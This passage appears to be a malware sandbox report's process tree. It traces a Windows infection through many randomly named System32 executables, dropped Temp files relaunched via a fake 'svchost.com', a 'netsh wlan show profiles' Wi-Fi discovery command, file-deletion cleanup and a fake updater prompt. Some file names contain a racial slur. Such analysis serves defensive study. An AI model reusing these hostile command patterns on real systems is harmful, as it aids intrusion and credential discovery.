C:\Windows\System32\fttFmKL.exeC:\Windows\System32\fttFmKL.exe3⤵
-
-
C:\Windows\System32\kWVUgQE.exeC:\Windows\System32\kWVUgQE.exe3⤵
-
-
C:\Windows\System32\TUTYewf.exeC:\Windows\System32\TUTYewf.exe3⤵
-
-
C:\Windows\System32\EdJaHKj.exeC:\Windows\System32\EdJaHKj.exe3⤵
-
-
C:\Windows\System32\psLCcRi.exeC:\Windows\System32\psLCcRi.exe3⤵
-
-
C:\Windows\System32\lZSYeps.exeC:\Windows\System32\lZSYeps.exe3⤵
-
-
C:\Windows\System32\GOUMlNG.exeC:\Windows\System32\GOUMlNG.exe3⤵
-
-
C:\Windows\System32\YGxOyoh.exeC:\Windows\System32\YGxOyoh.exe3⤵
-
-
C:\Windows\System32\qVgiCcp.exeC:\Windows\System32\qVgiCcp.exe3⤵
-
-
C:\Windows\System32\kTaVlNA.exeC:\Windows\System32\kTaVlNA.exe3⤵
-
-
C:\Windows\System32\NjxxsKF.exeC:\Windows\System32\NjxxsKF.exe3⤵
-
-
C:\Windows\System32\RRwtuzb.exeC:\Windows\System32\RRwtuzb.exe3⤵
-
-
C:\Windows\System32\BhUHmVc.exeC:\Windows\System32\BhUHmVc.exe3⤵
-
-
C:\Windows\System32\nmDSrgP.exeC:\Windows\System32\nmDSrgP.exe3⤵
-
-
C:\Windows\System32\gEZcgko.exeC:\Windows\System32\gEZcgko.exe3⤵
-
-
C:\Windows\System32\BhUPYVz.exeC:\Windows\System32\BhUPYVz.exe3⤵
-
-
C:\Windows\System32\mqFhqLj.exeC:\Windows\System32\mqFhqLj.exe3⤵
-
-
C:\Windows\System32\vfMPPKC.exeC:\Windows\System32\vfMPPKC.exe3⤵
-
-
C:\Windows\System32\EwBUqlO.exeC:\Windows\System32\EwBUqlO.exe3⤵
-
-
C:\Windows\System32\rgccaqI.exeC:\Windows\System32\rgccaqI.exe3⤵
-
-
C:\Windows\System32\BjiQqpX.exeC:\Windows\System32\BjiQqpX.exe3⤵
-
-
C:\Windows\System32\Bkuifxw.exeC:\Windows\System32\Bkuifxw.exe3⤵
-
-
C:\Windows\System32\PdVKOiq.exeC:\Windows\System32\PdVKOiq.exe3⤵
-
-
C:\Windows\System32\NLDeWwH.exeC:\Windows\System32\NLDeWwH.exe3⤵
-
-
C:\Windows\System32\tKqaTuK.exeC:\Windows\System32\tKqaTuK.exe3⤵
-
-
C:\Windows\System32\ciBbwir.exeC:\Windows\System32\ciBbwir.exe3⤵
-
-
C:\Windows\System32\WlbLoPA.exeC:\Windows\System32\WlbLoPA.exe3⤵
-
-
C:\Windows\System32\dAYnwVR.exeC:\Windows\System32\dAYnwVR.exe3⤵
-
-
C:\Windows\System32\PPIBwOC.exeC:\Windows\System32\PPIBwOC.exe3⤵
-
-
C:\Windows\System32\PsErPQv.exeC:\Windows\System32\PsErPQv.exe3⤵
-
-
C:\Windows\System32\mRYlpQB.exeC:\Windows\System32\mRYlpQB.exe3⤵
-
-
C:\Windows\System32\vCrSdbq.exeC:\Windows\System32\vCrSdbq.exe3⤵
-
-
C:\Windows\System32\BCVPljg.exeC:\Windows\System32\BCVPljg.exe3⤵
-
-
C:\Windows\System32\AGWAKaE.exeC:\Windows\System32\AGWAKaE.exe3⤵
-
-
C:\Windows\System32\DmkzMKP.exeC:\Windows\System32\DmkzMKP.exe3⤵
-
-
C:\Windows\System32\IwxdVVe.exeC:\Windows\System32\IwxdVVe.exe3⤵
-
-
C:\Windows\System32\SYLJXGp.exeC:\Windows\System32\SYLJXGp.exe3⤵
-
-
C:\Windows\System32\VQUnTLC.exeC:\Windows\System32\VQUnTLC.exe3⤵
-
-
C:\Windows\System32\xxcWJbw.exeC:\Windows\System32\xxcWJbw.exe3⤵
-
-
C:\Windows\System32\xcDnIln.exeC:\Windows\System32\xcDnIln.exe3⤵
-
-
C:\Windows\System32\iRUNFjp.exeC:\Windows\System32\iRUNFjp.exe3⤵
-
-
C:\Windows\System32\UBirGaM.exeC:\Windows\System32\UBirGaM.exe3⤵
-
-
C:\Windows\System32\YZFamTX.exeC:\Windows\System32\YZFamTX.exe3⤵
-
-
C:\Windows\System32\sfJRfuP.exeC:\Windows\System32\sfJRfuP.exe3⤵
-
-
C:\Windows\System32\Rhpdvbg.exeC:\Windows\System32\Rhpdvbg.exe3⤵
-
-
C:\Windows\System32\yfoSvzm.exeC:\Windows\System32\yfoSvzm.exe3⤵
-
-
C:\Windows\System32\xECuuVE.exeC:\Windows\System32\xECuuVE.exe3⤵
-
-
C:\Windows\System32\crHulCf.exeC:\Windows\System32\crHulCf.exe3⤵
-
-
C:\Windows\System32\VymUiRS.exeC:\Windows\System32\VymUiRS.exe3⤵
-
-
C:\Windows\System32\yLRHTGz.exeC:\Windows\System32\yLRHTGz.exe3⤵
-
-
C:\Windows\System32\PqcFFqZ.exeC:\Windows\System32\PqcFFqZ.exe3⤵
-
-
C:\Windows\System32\mdBQDAI.exeC:\Windows\System32\mdBQDAI.exe3⤵
-
-
C:\Windows\System32\FExQmmD.exeC:\Windows\System32\FExQmmD.exe3⤵
-
-
C:\Windows\System32\CRZRgbX.exeC:\Windows\System32\CRZRgbX.exe3⤵
-
-
C:\Windows\System32\xUrzQjI.exeC:\Windows\System32\xUrzQjI.exe3⤵
-
-
C:\Windows\System32\oNNJAfD.exeC:\Windows\System32\oNNJAfD.exe3⤵
-
-
C:\Windows\System32\pAYmJZd.exeC:\Windows\System32\pAYmJZd.exe3⤵
-
-
C:\Windows\System32\zgiVVtx.exeC:\Windows\System32\zgiVVtx.exe3⤵
-
-
C:\Windows\System32\cXRWwqG.exeC:\Windows\System32\cXRWwqG.exe3⤵
-
-
C:\Windows\System32\MWfYteM.exeC:\Windows\System32\MWfYteM.exe3⤵
-
-
C:\Windows\System32\FqbSSuT.exeC:\Windows\System32\FqbSSuT.exe3⤵
-
-
C:\Windows\System32\SAkkztf.exeC:\Windows\System32\SAkkztf.exe3⤵
-
-
C:\Windows\System32\sLXunJY.exeC:\Windows\System32\sLXunJY.exe3⤵
-
-
C:\Windows\System32\mzZMNNd.exeC:\Windows\System32\mzZMNNd.exe3⤵
-
-
C:\Windows\System32\tHXqNgV.exeC:\Windows\System32\tHXqNgV.exe3⤵
-
-
C:\Windows\System32\tKtbjkp.exeC:\Windows\System32\tKtbjkp.exe3⤵
-
-
C:\Windows\System32\KWRFaXS.exeC:\Windows\System32\KWRFaXS.exe3⤵
-
-
C:\Windows\System32\IDZMikN.exeC:\Windows\System32\IDZMikN.exe3⤵
-
-
C:\Windows\System32\HjBTPPJ.exeC:\Windows\System32\HjBTPPJ.exe3⤵
-
-
C:\Windows\System32\CSJWDQV.exeC:\Windows\System32\CSJWDQV.exe3⤵
-
-
C:\Windows\System32\mTXCSVT.exeC:\Windows\System32\mTXCSVT.exe3⤵
-
-
C:\Windows\System32\fDOPQsq.exeC:\Windows\System32\fDOPQsq.exe3⤵
-
-
C:\Windows\System32\VUERtNr.exeC:\Windows\System32\VUERtNr.exe3⤵
-
-
C:\Windows\System32\LpUxNBL.exeC:\Windows\System32\LpUxNBL.exe3⤵
-
-
C:\Windows\System32\mLCoxFd.exeC:\Windows\System32\mLCoxFd.exe3⤵
-
-
C:\Windows\System32\QFKfENp.exeC:\Windows\System32\QFKfENp.exe3⤵
-
-
C:\Windows\System32\omepZsz.exeC:\Windows\System32\omepZsz.exe3⤵
-
-
C:\Windows\System32\gpvQawO.exeC:\Windows\System32\gpvQawO.exe3⤵
-
-
C:\Windows\System32\RaQDRvH.exeC:\Windows\System32\RaQDRvH.exe3⤵
-
-
C:\Windows\System32\oauAVYv.exeC:\Windows\System32\oauAVYv.exe3⤵
-
-
C:\Windows\System32\JzGTFkQ.exeC:\Windows\System32\JzGTFkQ.exe3⤵
-
-
C:\Windows\System32\DIiZcUm.exeC:\Windows\System32\DIiZcUm.exe3⤵
-
-
C:\Windows\System32\mVQhnxh.exeC:\Windows\System32\mVQhnxh.exe3⤵
-
-
C:\Windows\System32\jPbnRBr.exeC:\Windows\System32\jPbnRBr.exe3⤵
-
-
C:\Windows\System32\GasXSEp.exeC:\Windows\System32\GasXSEp.exe3⤵
-
-
C:\Windows\System32\KWAuOKW.exeC:\Windows\System32\KWAuOKW.exe3⤵
-
-
C:\Windows\System32\ZqALnPW.exeC:\Windows\System32\ZqALnPW.exe3⤵
-
-
C:\Windows\System32\dJOtHyO.exeC:\Windows\System32\dJOtHyO.exe3⤵
-
-
C:\Windows\System32\tasYRdp.exeC:\Windows\System32\tasYRdp.exe3⤵
-
-
C:\Windows\System32\BtTVZsV.exeC:\Windows\System32\BtTVZsV.exe3⤵
-
-
C:\Windows\System32\iSvUTkI.exeC:\Windows\System32\iSvUTkI.exe3⤵
-
-
C:\Windows\System32\GyrDzJW.exeC:\Windows\System32\GyrDzJW.exe3⤵
-
-
C:\Windows\System32\bptgaew.exeC:\Windows\System32\bptgaew.exe3⤵
-
-
C:\Windows\System32\qrJxogh.exeC:\Windows\System32\qrJxogh.exe3⤵
-
-
C:\Windows\System32\tNMTcyc.exeC:\Windows\System32\tNMTcyc.exe3⤵
-
-
C:\Windows\System32\INJzmMd.exeC:\Windows\System32\INJzmMd.exe3⤵
-
-
C:\Windows\System32\fMJbWOq.exeC:\Windows\System32\fMJbWOq.exe3⤵
-
-
C:\Windows\System32\WwIrbJn.exeC:\Windows\System32\WwIrbJn.exe3⤵
-
-
C:\Windows\System32\GZjfobf.exeC:\Windows\System32\GZjfobf.exe3⤵
-
-
C:\Windows\System32\AdnnfKK.exeC:\Windows\System32\AdnnfKK.exe3⤵
-
-
C:\Windows\System32\EXUAdGY.exeC:\Windows\System32\EXUAdGY.exe3⤵
-
-
C:\Windows\System32\UdecGfi.exeC:\Windows\System32\UdecGfi.exe3⤵
-
-
C:\Windows\System32\zVmAOgR.exeC:\Windows\System32\zVmAOgR.exe3⤵
-
-
C:\Windows\System32\MCboKsG.exeC:\Windows\System32\MCboKsG.exe3⤵
-
-
C:\Windows\System32\ghowtWw.exeC:\Windows\System32\ghowtWw.exe3⤵
-
-
C:\Windows\System32\xfTCOve.exeC:\Windows\System32\xfTCOve.exe3⤵
-
-
C:\Windows\System32\PwZqlba.exeC:\Windows\System32\PwZqlba.exe3⤵
-
-
C:\Windows\System32\hDDqlRp.exeC:\Windows\System32\hDDqlRp.exe3⤵
-
-
C:\Windows\System32\ltffPOe.exeC:\Windows\System32\ltffPOe.exe3⤵
-
-
C:\Windows\System32\SUgLzuu.exeC:\Windows\System32\SUgLzuu.exe3⤵
-
-
C:\Windows\System32\ysqWVXp.exeC:\Windows\System32\ysqWVXp.exe3⤵
-
-
C:\Windows\System32\JjvVcIS.exeC:\Windows\System32\JjvVcIS.exe3⤵
-
-
C:\Windows\System32\WCqQcar.exeC:\Windows\System32\WCqQcar.exe3⤵
-
-
C:\Windows\System32\fnNmOIF.exeC:\Windows\System32\fnNmOIF.exe3⤵
-
-
C:\Windows\System32\AlbaLgB.exeC:\Windows\System32\AlbaLgB.exe3⤵
-
-
C:\Windows\System32\rGqQUGG.exeC:\Windows\System32\rGqQUGG.exe3⤵
-
-
C:\Windows\System32\dMXCpvp.exeC:\Windows\System32\dMXCpvp.exe3⤵
-
-
C:\Windows\System32\dSEXFgE.exeC:\Windows\System32\dSEXFgE.exe3⤵
-
-
C:\Windows\System32\RvSTxyM.exeC:\Windows\System32\RvSTxyM.exe3⤵
-
-
C:\Windows\System32\jdUxupT.exeC:\Windows\System32\jdUxupT.exe3⤵
-
-
C:\Windows\System32\cmjEUGi.exeC:\Windows\System32\cmjEUGi.exe3⤵
-
-
C:\Windows\System32\DjwGqwz.exeC:\Windows\System32\DjwGqwz.exe3⤵
-
-
C:\Windows\System32\KPzECPF.exeC:\Windows\System32\KPzECPF.exe3⤵
-
-
C:\Windows\System32\sXVboXs.exeC:\Windows\System32\sXVboXs.exe3⤵
-
-
C:\Windows\System32\KKdexRW.exeC:\Windows\System32\KKdexRW.exe3⤵
-
-
C:\Windows\System32\NpyOwLC.exeC:\Windows\System32\NpyOwLC.exe3⤵
-
-
C:\Windows\System32\omwhwqh.exeC:\Windows\System32\omwhwqh.exe3⤵
-
-
C:\Windows\System32\waRTdPn.exeC:\Windows\System32\waRTdPn.exe3⤵
-
-
C:\Windows\System32\dcYYtLi.exeC:\Windows\System32\dcYYtLi.exe3⤵
-
-
C:\Windows\System32\XOYclmd.exeC:\Windows\System32\XOYclmd.exe3⤵
-
-
C:\Windows\System32\rHsRLfv.exeC:\Windows\System32\rHsRLfv.exe3⤵
-
-
C:\Windows\System32\QCfutxX.exeC:\Windows\System32\QCfutxX.exe3⤵
-
-
C:\Windows\System32\HpthlXH.exeC:\Windows\System32\HpthlXH.exe3⤵
-
-
C:\Windows\System32\DGVwIUI.exeC:\Windows\System32\DGVwIUI.exe3⤵
-
-
C:\Windows\System32\ioQOarl.exeC:\Windows\System32\ioQOarl.exe3⤵
-
-
C:\Windows\System32\xDSHDyS.exeC:\Windows\System32\xDSHDyS.exe3⤵
-
-
C:\Windows\System32\mJcAhfn.exeC:\Windows\System32\mJcAhfn.exe3⤵
-
-
C:\Windows\System32\KfcudUe.exeC:\Windows\System32\KfcudUe.exe3⤵
-
-
C:\Windows\System32\qhQWrBz.exeC:\Windows\System32\qhQWrBz.exe3⤵
-
-
C:\Windows\System32\oOLeKaL.exeC:\Windows\System32\oOLeKaL.exe3⤵
-
-
C:\Windows\System32\kwpUidr.exeC:\Windows\System32\kwpUidr.exe3⤵
-
-
C:\Windows\System32\sArZOhC.exeC:\Windows\System32\sArZOhC.exe3⤵
-
-
C:\Windows\System32\iIEvhlt.exeC:\Windows\System32\iIEvhlt.exe3⤵
-
-
C:\Windows\System32\CtrwHjZ.exeC:\Windows\System32\CtrwHjZ.exe3⤵
-
-
C:\Windows\System32\AfkUhyn.exeC:\Windows\System32\AfkUhyn.exe3⤵
-
-
C:\Windows\System32\UfnlFdj.exeC:\Windows\System32\UfnlFdj.exe3⤵
-
-
C:\Windows\System32\OmMaNBx.exeC:\Windows\System32\OmMaNBx.exe3⤵
-
-
C:\Windows\System32\WSRjUCP.exeC:\Windows\System32\WSRjUCP.exe3⤵
-
-
C:\Windows\System32\haRvZOC.exeC:\Windows\System32\haRvZOC.exe3⤵
-
-
C:\Windows\System32\yfuaKXd.exeC:\Windows\System32\yfuaKXd.exe3⤵
-
-
C:\Windows\System32\kdhqMbn.exeC:\Windows\System32\kdhqMbn.exe3⤵
-
-
C:\Windows\System32\ILiANCf.exeC:\Windows\System32\ILiANCf.exe3⤵
-
-
C:\Windows\System32\bqDFZVn.exeC:\Windows\System32\bqDFZVn.exe3⤵
-
-
C:\Windows\System32\KpcMKlD.exeC:\Windows\System32\KpcMKlD.exe3⤵
-
-
C:\Windows\System32\CtKokUD.exeC:\Windows\System32\CtKokUD.exe3⤵
-
-
C:\Windows\System32\lEklenG.exeC:\Windows\System32\lEklenG.exe3⤵
-
-
C:\Windows\System32\dOMhXkt.exeC:\Windows\System32\dOMhXkt.exe3⤵
-
-
C:\Windows\System32\RBavJqJ.exeC:\Windows\System32\RBavJqJ.exe3⤵
-
-
C:\Windows\System32\mOXXqSv.exeC:\Windows\System32\mOXXqSv.exe3⤵
-
-
C:\Windows\System32\UnaLUyV.exeC:\Windows\System32\UnaLUyV.exe3⤵
-
-
C:\Windows\System32\KYxiJgF.exeC:\Windows\System32\KYxiJgF.exe3⤵
-
-
C:\Windows\System32\gDggLfx.exeC:\Windows\System32\gDggLfx.exe3⤵
-
-
C:\Windows\System32\jnNaReu.exeC:\Windows\System32\jnNaReu.exe3⤵
-
-
C:\Windows\System32\damaPud.exeC:\Windows\System32\damaPud.exe3⤵
-
-
C:\Windows\System32\WyHFLIT.exeC:\Windows\System32\WyHFLIT.exe3⤵
-
-
C:\Windows\System32\ycgDOQQ.exeC:\Windows\System32\ycgDOQQ.exe3⤵
-
-
C:\Windows\System32\mLyTBAf.exeC:\Windows\System32\mLyTBAf.exe3⤵
-
-
C:\Windows\System32\hvfotUX.exeC:\Windows\System32\hvfotUX.exe3⤵
-
-
C:\Windows\System32\GwwHKqB.exeC:\Windows\System32\GwwHKqB.exe3⤵
-
-
C:\Windows\System32\rmKqRwt.exeC:\Windows\System32\rmKqRwt.exe3⤵
-
-
C:\Windows\System32\oSkGibP.exeC:\Windows\System32\oSkGibP.exe3⤵
-
-
C:\Windows\System32\UZrsSPu.exeC:\Windows\System32\UZrsSPu.exe3⤵
-
-
C:\Windows\System32\CpcYSDv.exeC:\Windows\System32\CpcYSDv.exe3⤵
-
-
C:\Windows\System32\xAAgDJs.exeC:\Windows\System32\xAAgDJs.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\funny78.exe"C:\Users\Admin\AppData\Local\Temp\funny78.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\funny78Srv.exeC:\Users\Admin\AppData\Local\Temp\funny78Srv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5656 -s 3244⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 3243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 5363⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\k1t.exe"C:\Users\Admin\AppData\Local\Temp\k1t.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"2⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\LB3.exe"C:\Users\Admin\AppData\Local\Temp\LB3.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\tXmCLyGO.exe"C:\Users\Admin\AppData\Local\Temp\a\tXmCLyGO.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gkmdY2O.exe"C:\Users\Admin\AppData\Local\Temp\a\gkmdY2O.exe"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\random.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\random.exeC:\Users\Admin\AppData\Local\Temp\a\random.exe4⤵
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\MESHAG~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\MESHAG~1.EXEC:\Users\Admin\AppData\Local\Temp\a\MESHAG~1.EXE4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\agent.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\agent.exeC:\Users\Admin\AppData\Local\Temp\a\agent.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Stnon.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Stnon.exeC:\Users\Admin\AppData\Local\Temp\a\Stnon.exe4⤵
-
C:\Windows\System32\WUDFHost.exeC:\Windows\System32\WUDFHost.exe5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\hfsServ.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\hfsServ.exeC:\Users\Admin\AppData\Local\Temp\a\hfsServ.exe4⤵
-
C:\Windows\System32\WUDFHost.exeC:\Windows\System32\WUDFHost.exe5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\TeamServ.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\TeamServ.exeC:\Users\Admin\AppData\Local\Temp\a\TeamServ.exe4⤵
-
C:\Windows\System32\WUDFHost.exeC:\Windows\System32\WUDFHost.exe5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\TCity.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\TCity.exeC:\Users\Admin\AppData\Local\Temp\a\TCity.exe4⤵
-
C:\Windows\System32\WUDFHost.exeC:\Windows\System32\WUDFHost.exe5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\hfsSer.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\hfsSer.exeC:\Users\Admin\AppData\Local\Temp\a\hfsSer.exe4⤵
-
C:\Windows\System32\WUDFHost.exeC:\Windows\System32\WUDFHost.exe5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\CptX5z6.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\CptX5z6.exeC:\Users\Admin\AppData\Local\Temp\a\CptX5z6.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\QUICKA~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\QUICKA~1.EXEC:\Users\Admin\AppData\Local\Temp\a\QUICKA~1.EXE4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"5⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Loader.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color f5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c mode con: cols=69 lines=185⤵
-
C:\Windows\system32\mode.commode con: cols=69 lines=186⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\jdVAN80.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\jdVAN80.exeC:\Users\Admin\AppData\Local\Temp\a\jdVAN80.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\AD325W~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\AD325W~1.EXEC:\Users\Admin\AppData\Local\Temp\a\AD325W~1.EXE4⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\7ZS028~1\FW_UPD~1.EXE" /CHECKFWFILE=no /VERSIONCONTROL=0 /IGNOREDEVICEERROR=no /UNKNOWDEVICCE_CFGMODE=1 /SUPPORTUNKNOWDEVICE=yes /ENDEVRECONDETECT=yes /STOPSTISVC=no /STOPPFUDRIVER=no /WAITTIME=05⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZS028~1\FW_UPD~1.EXEC:\Users\Admin\AppData\Local\Temp\7ZS028~1\FW_UPD~1.EXE /CHECKFWFILE=no /VERSIONCONTROL=0 /IGNOREDEVICEERROR=no /UNKNOWDEVICCE_CFGMODE=1 /SUPPORTUNKNOWDEVICE=yes /ENDEVRECONDETECT=yes /STOPSTISVC=no /STOPPFUDRIVER=no /WAITTIME=06⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\020820~1.EXE"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\UQs5KQA.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\UQs5KQA.exeC:\Users\Admin\AppData\Local\Temp\a\UQs5KQA.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\OTcX1Qs.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\OTcX1Qs.exeC:\Users\Admin\AppData\Local\Temp\a\OTcX1Qs.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\FLUXUS~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\FLUXUS~1.EXEC:\Users\Admin\AppData\Local\Temp\a\FLUXUS~1.EXE4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\64TH%2~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\64TH%2~1.EXEC:\Users\Admin\AppData\Local\Temp\a\64TH%2~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\babi.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\babi.exeC:\Users\Admin\AppData\Local\Temp\a\babi.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\a.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\a.exeC:\Users\Admin\AppData\Local\Temp\a\a.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\build.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\build.exeC:\Users\Admin\AppData\Local\Temp\a\build.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\SILENT~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\SILENT~1.EXEC:\Users\Admin\AppData\Local\Temp\a\SILENT~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\REVISE~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\REVISE~1.EXEC:\Users\Admin\AppData\Local\Temp\a\REVISE~1.EXE4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nigganet.exe"C:\Users\Admin\AppData\Local\Temp\nigganet.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\oi.exe"C:\Users\Admin\AppData\Local\Temp\oi.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\oi.exeC:\Users\Admin\AppData\Local\Temp\oi.exe3⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe4⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe5⤵
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\System32\omsecor.exe6⤵
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\SysWOW64\omsecor.exe7⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe8⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe9⤵
-
-
